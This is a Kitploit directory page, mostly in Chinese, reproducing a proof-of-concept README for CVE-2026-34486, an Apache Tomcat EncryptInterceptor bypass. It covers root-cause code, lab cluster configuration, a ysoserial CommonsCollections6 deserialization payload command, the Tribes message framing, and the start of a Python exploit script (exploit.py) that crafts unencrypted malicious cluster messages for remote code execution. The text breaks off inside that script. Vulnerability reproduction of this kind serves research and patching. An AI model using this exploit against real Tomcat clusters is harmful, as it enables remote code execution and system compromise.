Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-34486-poc — CVE-2026-34486 Apache Tomcat EncryptInterceptor 绕过漏洞复现(使用GLM5.1复现完成) | Kitploit
工具/GitHubGitHub/airskye/cve-2026-34486-poc
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试红队Payload 开发
GitHubairskye/cve-2026-34486-poc

CVE-2026-34486-poc

CVE-2026-34486 Apache Tomcat EncryptInterceptor 绕过漏洞复现(使用GLM5.1复现完成)

查看仓库
12195个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-34486 Apache Tomcat EncryptInterceptor 绕过漏洞复现

一、漏洞概述

属性详情
CVE 编号CVE-2026-34486
严重程度Important / High(CVSS 3.1: 7.5)
漏洞类型CWE-311 敏感数据缺失加密 / CWE-807 不可信输入约束
受影响版本Apache Tomcat 9.0.116 / 10.1.53 / 11.0.20
修复版本Apache Tomcat 9.0.117 / 10.1.54 / 11.0.21
根因EncryptInterceptor.messageReceived() 中 super.messageReceived(msg) 被移到 try-catch 块外部

漏洞根因

修复 CVE-2026-29146(Padding Oracle)时,开发者重构 EncryptInterceptor.messageReceived() 方法,将 super.messageReceived(msg) 从 try 块内部移到了外部:

修复前(安全):

public void messageReceived(ChannelMessage msg) {
    try {
        byte[] data = msg.getMessage().getBytes();
        data = encryptionManager.decrypt(data);
        XByteBuffer xbb = msg.getMessage();
        xbb.clear();
        xbb.append(data, 0, data.length);
        super.messageReceived(msg);  // ← 在 try 内,解密成功才传递
    } catch (GeneralSecurityException gse) {
        log.error(...);
        // 异常被捕获,消息被丢弃
    }
}

漏洞代码(危险):

public void messageReceived(ChannelMessage msg) {
    try {
        byte[] data = msg.getMessage().getBytes();
        data = encryptionManager.decrypt(data);
        XByteBuffer xbb = msg.getMessage();
        xbb.clear();
        xbb.append(data, 0, data.length);
    } catch (GeneralSecurityException gse) {
        log.error(...);
        // 异常被捕获,但执行流继续!
    }
    super.messageReceived(msg);  // ← 在 try 外,无论解密是否成功都会执行!
}

字节码验证(来自 Tomcat 9.0.116 的 EncryptInterceptor.class):

Exception table:
   from    to  target type
      0    39    42   Class java/security/GeneralSecurityException

// 偏移 60: super.messageReceived(msg) —— 在 try 范围(0-39)之外
60: aload_0
61: aload_1
62: invokespecial #136  // Method ChannelInterceptorBase.messageReceived

二、复现环境

组件版本/配置
操作系统Ubuntu 22.04 (沙箱环境)
JDKOpenJDK 20 (Zulu)
Tomcat9.0.116(漏洞版本)
Gadget 库Commons Collections 3.1
攻击工具ysoserial v0.0.6 + 自定义 Python/Java PoC

环境拓扑

同一台机器上运行两个 Tomcat 实例:
- Node1: HTTP 18080, Tribes TCP 4000
- Node2: HTTP 28080, Tribes TCP 4001
两个节点通过组播(228.0.0.4:45564)发现彼此,通过 EncryptInterceptor 加密通信

三、详细复现步骤

步骤 1:下载并安装漏洞版本 Tomcat

# 下载 Tomcat 9.0.116
wget https://archive.apache.org/dist/tomcat/tomcat-9/v9.0.116/bin/apache-tomcat-9.0.116.tar.gz

# 解压两份
tar -xzf apache-tomcat-9.0.116.tar.gz
cp -r apache-tomcat-9.0.116 tomcat-node1
cp -r apache-tomcat-9.0.116 tomcat-node2

步骤 2:安装 Gadget 库

# 下载 Commons Collections 3.1
wget https://repo1.maven.org/maven2/commons-collections/commons-collections/3.1/commons-collections-3.1.jar

# 放入 Tomcat lib 目录
cp commons-collections-3.1.jar tomcat-node1/lib/
cp commons-collections-3.1.jar tomcat-node2/lib/

步骤 3:配置集群 + EncryptInterceptor

编辑 tomcat-node1/conf/server.xml,在 <Engine> 内添加:

<Cluster className="org.apache.catalina.ha.tcp.SimpleTcpCluster"
         channelSendOptions="8">
  <Manager className="org.apache.catalina.ha.session.DeltaManager"
           expireSessionsOnShutdown="false"
           notifyListenersOnReplication="true"/>
  <Channel className="org.apache.catalina.tribes.group.GroupChannel">
    <!-- 关键:启用 EncryptInterceptor -->
    <Interceptor className="org.apache.catalina.tribes.group.interceptors.EncryptInterceptor"
                 encryptionAlgorithm="AES/CBC/PKCS5Padding"
                 encryptionKey="546869734973415365637265744B6579"/>
    <Membership className="org.apache.catalina.tribes.membership.McastService"
                address="228.0.0.4" port="45564" frequency="500" dropTime="3000"/>
    <Receiver className="org.apache.catalina.tribes.transport.nio.NioReceiver"
              address="auto" port="4000" autoBind="100"
              selectorTimeout="5000" maxThreads="6"/>
    <Sender className="org.apache.catalina.tribes.transport.ReplicationTransmitter">
      <Transport className="org.apache.catalina.tribes.transport.nio.PooledParallelSender"/>
    </Sender>
    <Interceptor className="org.apache.catalina.tribes.group.interceptors.TcpFailureDetector"/>
    <Interceptor className="org.apache.catalina.tribes.group.interceptors.MessageDispatchInterceptor"/>
  </Channel>
  <Valve className="org.apache.catalina.ha.tcp.ReplicationValve" filter=""/>
  <Valve className="org.apache.catalina.ha.session.JvmRouteBinderValve"/>
  <ClusterListener className="org.apache.catalina.ha.session.ClusterSessionListener"/>
</Cluster>

注意: encryptionKey 必须是十六进制字符串格式(如 546869734973415365637265744B6579 = "ThisIsASecretKey" 的 ASCII 十六进制),不能是明文字符串。

步骤 4:启用 Session 复制

在 webapps/ROOT/WEB-INF/web.xml 中添加:

<distributable/>

步骤 5:启动 Tomcat 集群

# 启动 Node1
cd tomcat-node1 && bin/catalina.sh start

# 启动 Node2
cd tomcat-node2 && bin/catalina.sh start

# 验证集群建立
# 日志中应出现: "Replication member added: ..."
# 端口 4000/4001 应监听中

实际启动日志确认:

WARNING [main] EncryptInterceptor.createEncryptionManager
  The EncryptInterceptor is using the algorithm [AES/CBC/PKCS5Padding].
  It is recommended to switch to using AES/GCM/NoPadding.

INFO [main] ReceiverBase.bind
  Receiver Server Socket bound to:[/172.24.0.7:4000]

INFO [Catalina-utility-1] SimpleTcpCluster.memberAdded
  Replication member added:[MemberImpl[tcp://{172, 24, 0, 7}:4001,...]]

步骤 6:生成反序列化 Payload

# 使用 ysoserial 生成 CommonsCollections6 gadget chain
# (CC6 在 Java 高版本兼容性更好)
java --add-opens java.base/java.lang=ALL-UNNAMED \
     --add-opens java.base/java.util=ALL-UNNAMED \
     --add-opens java.base/java.lang.reflect=ALL-UNNAMED \
     -jar ysoserial.jar CommonsCollections6 "touch /tmp/CVE-2026-34486-PWNED" \
     > payload_touch.bin

# 验证 payload 以 Java 序列化魔术字节开头
python3 -c "
with open('payload_touch.bin', 'rb') as f:
    print(f'Magic: {f.read(2).hex()}')  # 应输出: aced
"

步骤 7:构造并发送 Tribes 协议消息

Tribes 消息需要特定的 XByteBuffer 帧封装格式:

[START_DATA "FLT2002" (7B)] [数据长度 (4B BE)] [ChannelData 载荷] [END_DATA "TLF003" (7B)]

其中 ChannelData 载荷结构:

[options (4B)] [timestamp (8B)] [uniqueIdLen (4B)] [uniqueId (16B)]
[memberDataLen (4B)] [MemberImpl 数据] [messageLen (4B)] [消息体]

关键:消息体直接放入未加密的 Java 序列化 payload,这就是漏洞利用的核心——EncryptInterceptor 会尝试解密,失败后仍将原始字节传递给后续链。

方式一:Python PoC 脚本 (exploit.py)

#!/usr/bin/env python3
"""
CVE-2026-34486 - Apache Tomcat EncryptInterceptor Bypass PoC
漏洞原理:EncryptInterceptor.messageReceived() 中 super.messageReceived(msg) 被移到了
try-catch 块外面,导致解密失败后原始字节仍被传递给后续处理链,最终进入无过滤的
ObjectInputStream.readObject(),可触发 Java 反序列化 RCE。

用于授权的安全研究环境,严禁用于非法用途。
"""

import socket
import struct
import sys
import os
import time

# ==================== Tribes 协议常量 ====================
START_DATA = b"FLT2002"   # XByteBuffer 帧起始标记 (7 bytes)
END_DATA   = b"TLF003"    # XByteBuffer 帧结束标记 (7 bytes)

TRIBES_MBR_BEGIN = b"TRIBES-B\x01\x00"  # MemberImpl 起始标记 (10 bytes)
TRIBES_MBR_END   = b"TRIBES-E\x01\x00"  # MemberImpl 结束标记 (10 bytes)


def build_member_data(host_bytes, port):
    """构造 MemberImpl 序列化数据"""
    inner = b""
    inner += struct.pack(">q", 0)                  # memberAliveTime (8B)
    inner += struct.pack(">i", port)                # port (4B)
    inner += struct.pack(">i", 0)                   # securePort (4B)
    inner += struct.pack(">i", 0)                   # udpPort (4B)
    inner += struct.pack(">b", len(host_bytes))     # hostLen (1B)
    inner += host_bytes                              # host
    inner += struct.pack(">i", 0)                   # commandLen (4B)
    inner += struct.pack(">i", 0)                   # domainLen (4B)
    inner += os.urandom(16)                          # uniqueId (16B)
    inner += struct.pack(">i", 0)                   # payloadLen (4B)

    return TRIBES_MBR_BEGIN + struct.pack(">i", len(inner)) + inner + TRIBES_MBR_END


def build_channel_data(message_body, host_bytes, port):
    """构造 ChannelData 载荷"""
    unique_id = os.urandom(16)
    member_data = build_member_data(host_bytes, port)
下载工具